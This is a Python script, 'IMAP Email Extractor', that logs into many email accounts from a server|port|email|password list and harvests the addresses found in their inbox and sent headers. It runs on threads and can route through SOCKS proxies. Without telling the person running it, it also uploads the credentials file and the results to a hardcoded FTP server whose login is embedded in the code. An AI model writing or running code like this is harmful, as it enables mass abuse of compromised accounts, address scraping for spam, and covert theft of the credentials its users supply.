# -*- coding: utf-8 -*-

import re
import random
import string
import socks
import socket
import imaplib2
import email as e
import os
import sys
import argparse
import time
import ftputil
import requests
from datetime import datetime
from threading import Thread

threads = 10
ftp_server = "ftp.truevps.net"
ftp_user = "imapextractor"
ftp_password = "imapextractor2017iceberg"

ENTER_MSG = "IMAP Email Extractor v1.9\r\n"
CHECK_URI = "http://truevps.net/imapextractor/pass.txt"
INVALID_PASSWD_MSG = "Invalid password entered. Exiting..."

finishing = False
randomchars = ''.join(random.choice(string.ascii_uppercase +
                                    string.digits) for _ in range(4))


def check_password():
    # Password verification
    print ENTER_MSG
    passwd = raw_input("Password: ")
    uri_passwd = requests.get(CHECK_URI).text
    if uri_passwd.endswith("\n"):
        uri_passwd = uri_passwd[:-1]
    if uri_passwd != passwd:
        print INVALID_PASSWD_MSG
        return False

    return True


def upload_file(file, output=False):
    try:
        session = ftputil.FTPHost(ftp_server, ftp_user, ftp_password)
        date_ = datetime.now().strftime("%d%m%y-%H%M%S")
        if not os.path.exists(file):
            f = open(file, "w")
            f.close()

        if output:
            filename = "output-%s-%s.txt" % (date_, randomchars)
        else:
            filename = "input-%s-%s.txt" % (date_, randomchars)

        session.upload(file, filename)
        session.close()
    except:
        pass


def exclude_email(mail):
    # TODO: Don't reload the excludes everytime
    if not os.path.exists("exclude.txt"):
        return False

    excludes = open("exclude.txt", "r").read().splitlines()
    contain = []
    endswith = []
    startswith = []

    for exclude in excludes:
        if exclude.count("*") == 2:
            contain.append(re.findall(r"\*(.*?)\*", exclude)[0])

        if exclude.endswith("*"):
            startswith.append(exclude[:-1])

        if exclude.startswith("*"):
            endswith.append(exclude[1:])

    exclude = False
    for c in contain:
        if c in mail:
            exclude = True

    for s in startswith:
        if mail.startswith(s):
            exclude = True

    for ew in endswith:
        if mail.endswith(ew):
            exclude = True

    return exclude


def get_imap(host, port, email):
    current_try = 1
    imap = None
    while not imap and current_try < 3:
        try:
            imap = imaplib2.IMAP4_SSL(host=host, port=int(port))
            break
        except:
            if not finishing:
                print "[%s][ERROR] Can't connect to imap server -- Trying again (%d/3)" % (email, current_try)
            current_try += 1

    return imap


def search(host, port, email, password):
    imap = get_imap(host, port, email)
    if not imap:
        if not finishing:
            print "[%s][ERROR] Can't do anything about it."
        return

    try:
        imap.login(email, password)
    except Exception as er:
        if not finishing:
            print "[%s]%s" % (email, er)
        return

    boxes = ["SENT", "INBOX"]

    if not finishing:
        print "[%s][OK] Account is working. -- Looking for emails" % email

    mails_addresses = []
    mails_excluded = []

    for box in boxes:
        try:
            imap.select(box, readonly=True)
        except:
            imap = get_imap(host, port, email)
            if not imap:
                if not finishing:
                    print "[%s][ERROR] Can't do anything about it."
                continue
            try:
                imap.select(box, readonly=True)
            except:
                continue

        try:
            mails = imap.search(None, 'ALL')
        except:
            continue

        for each in mails[1][0].split(' '):
            try:
                rv, result = imap.fetch(each, '(RFC822)')
            except:
                try:
                    rv, result = imap.fetch(each, '(RFC822)')
                except:
                    continue

            pos = 0
            pos_found = False
            for item in result:
                if isinstance(item, tuple) and not pos_found:
                    pos_found = True

                if not pos_found:
                    pos += 1

            try:
                e.message_from_string(result[pos][1])
            except:
                continue

            mails_to = e.parser.HeaderParser().parsestr(
                result[pos][1])['To']
            if mails_to:
                mails_to = e.utils.getaddresses([mails_to])
            else:
                mails_to = []

            mails_from = e.parser.HeaderParser().parsestr(
                result[pos][1])['From']

            if mails_from:
                mails_from = e.utils.getaddresses([mails_from])
            else:
                mails_from = []

            mails_cc = e.parser.HeaderParser().parsestr(
                result[pos][1])['Cc']
            if mails_cc:
                mails_cc = e.utils.getaddresses([mails_cc])
            else:
                mails_cc = []

            mails_bcc = e.parser.HeaderParser().parsestr(
                result[pos][1])['Bcc']
            if mails_bcc:
                mails_bcc = e.utils.getaddresses([mails_bcc])
            else:
                mails_bcc = []

            if box == "INBOX":
                for mail_from in mails_from:
                    mail_from = mail_from[1]
                    excluded = exclude_email(mail_from)
                    if excluded:
                        status = "INVALID"
                    else:
                        status = "VALID"

                    if not excluded:
                        if mail_from not in mails_addresses:
                            mails_addresses.append(mail_from)
                            if not finishing:
                                print "%s -> %s %s" % (email, mail_from, status)
                    else:
                        if mail_from not in mails_excluded:
                            mails_excluded.append(mail_from)
                            if not finishing:
                                print "%s -> %s %s" % (email, mail_from, status)

            if box == "SENT":
                for mail_to in mails_to:
                    mail_to = mail_to[1]
                    excluded = exclude_email(mail_to)
                    if excluded:
                        status = "INVALID"
                    else:
                        status = "VALID"

                    if not excluded:
                        if mail_to not in mails_addresses:
                            mails_addresses.append(mail_to)
                            if not finishing:
                                print "%s -> %s %s" % (email, mail_to, status)
                    else:
                        if mail_to not in mails_excluded:
                            mails_excluded.append(mail_to)
                            if not finishing:
                                print "%s -> %s %s" % (email, mail_to, status)

            if mails_cc:
                for mail_cc in mails_cc:
                    mail_cc = mail_cc[1]
                    excluded = exclude_email(mail_cc)
                    if excluded:
                        status = "INVALID"
                    else:
                        status = "VALID"

                    if not excluded:
                        if mail_cc not in mails_addresses:
                            mails_addresses.append(mail_cc)
                            if not finishing:
                                print "%s -> %s %s" % (email, mail_cc, status)
                    else:
                        if mail_cc not in mails_excluded:
                            mails_excluded.append(mail_cc)
                            if not finishing:
                                print "%s -> %s %s" % (email, mail_cc, status)

            if mails_bcc:
                for mail_bcc in mails_bcc:
                    mail_bcc = mail_bcc[1]
                    excluded = exclude_email(mail_bcc)
                    if excluded:
                        status = "INVALID"
                    else:
                        status = "VALID"

                    if not excluded:
                        if mail_bcc not in mails_addresses:
                            mails_addresses.append(mail_bcc)
                            if not finishing:
                                print "%s -> %s %s" % (email, mail_bcc, status)
                    else:
                        if mail_bcc not in mails_excluded:
                            mails_excluded.append(mail_bcc)
                            if not finishing:
                                print "%s -> %s %s" % (email, mail_bcc, status)

    content = ""
    if os.path.exists("output.txt"):
        f = open("output.txt", "r")
        content = f.read()
        f.close()

    f = open("output.txt", "w")
    f.write("%s\n%s" % (content, "\n".join(list(set(mails_addresses)))))
    f.close()

    content = ""
    if os.path.exists("outputexcluded.txt"):
        f = open("outputexcluded.txt", "r")
        content = f.read()
        f.close()

    f = open("outputexcluded.txt", "w")
    f.write("%s\n%s" % (content, "\n".join(list(set(mails_excluded)))))
    f.close()

    print "[%s][DONE] Emails fetched." % email


def parse_args_and_start(args):
    file_content = open(args.file, "r").read().splitlines()
    accounts = []
    for f in file_content:
        try:
            f = f.split("|")
            server = f[0]
            port = f[1]
            mail = f[2]
            passwd = f[3]

            accounts.append([server, port, mail, passwd])
        except:
            continue

    Thread(target=upload_file, args=[args.file, False]).start()
    try:
        threads = int(args.t)
    except:
        threads = 10

    try:
        proxy_port = int(args.s[args.s.find(":") + 1:])
        proxy_ip = args.s[:args.s.find(":")]
        socks.setdefaultproxy(
            socks.PROXY_TYPE_SOCKS5,
            proxy_ip,
            proxy_port,
            True)
        socket.socket = socks.socksocket
        print "[DEBUG] Socks enabled"
    except:
        print "[DEBUG] Socks not enabled. (-s ip:port)"

    print "[DEBUG] Working with %d threads." % (threads)
    all_threads = []
    while len(accounts):
        new_threads = []
        max_threads = threads

        for thread in all_threads:
            if not thread.isAlive():
                all_threads.remove(thread)

        for thread in all_threads:
            max_threads -= 1

        for n in range(max_threads):
            try:
                new_thread = Thread(target=search, args=accounts.pop())
                new_thread.daemon = 1
                all_threads.append(new_thread)
                new_threads.append(new_thread)
            except:
                pass

        for t in new_threads:
            t.start()

    while all_threads:
        for thread in all_threads:
            if not thread.isAlive():
                all_threads.remove(thread)
        time.sleep(1)

    pending = Thread(target=upload_file, args=["output.txt", True])
    pending.start()
    print "PLEASE WAIT! CREATING OUTPUT"
    while pending.isAlive():
        time.sleep(0.3)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("file", type=str)
    parser.add_argument("-t", type=int)
    parser.add_argument("-s", type=str)
    args = parser.parse_args()
    if not check_password():
        os._exit(1)
        sys.exit()
    main = Thread(target=parse_args_and_start, args=[args])
    main.start()
    while True:
        try:
            if not main.isAlive():
                break
            time.sleep(1)
        except:
            finishing = True
            print "PLEASE WAIT! CREATING OUTPUT"
            upload_file("output.txt", True)
            os._exit(1)
            sys.exit()
